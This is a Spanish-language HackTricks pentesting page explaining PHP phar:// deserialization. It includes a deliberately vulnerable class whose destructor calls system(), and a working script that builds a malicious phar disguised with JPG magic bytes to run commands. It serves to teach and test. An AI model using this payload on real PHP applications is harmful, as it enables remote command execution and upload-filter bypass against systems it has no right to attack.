hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

5.2 KiB

phar:// deserialization

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Bug bounty tip: regístrate en Intigriti, una plataforma de recompensas por errores premium creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, así que, cuando se analizan, estos metadatos son deserializados y puedes intentar abusar de una vulnerabilidad de deserialización dentro del código PHP.

Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().

Así que, imagina una situación en la que puedes hacer que una web PHP obtenga el tamaño de un archivo arbitrario usando el protocolo phar://, y dentro del código encuentras una clase similar a la siguiente:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

Puedes crear un archivo phar que, al ser cargado, abusará de esta clase para ejecutar comandos arbitrarios con algo como:

{% code title="create_phar.php" %}

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

Nota cómo los bytes mágicos de JPG (\xff\xd8\xff) se añaden al principio del archivo phar para eludir posibles restricciones de subida de archivos.
Compila el archivo test.phar con:

php --define phar.readonly=0 create_phar.php

Y ejecutar el comando whoami abusando del código vulnerable con:

php vuln.php

Referencias

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

Consejo de bug bounty: regístrate en Intigriti, una plataforma de bug bounty premium creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}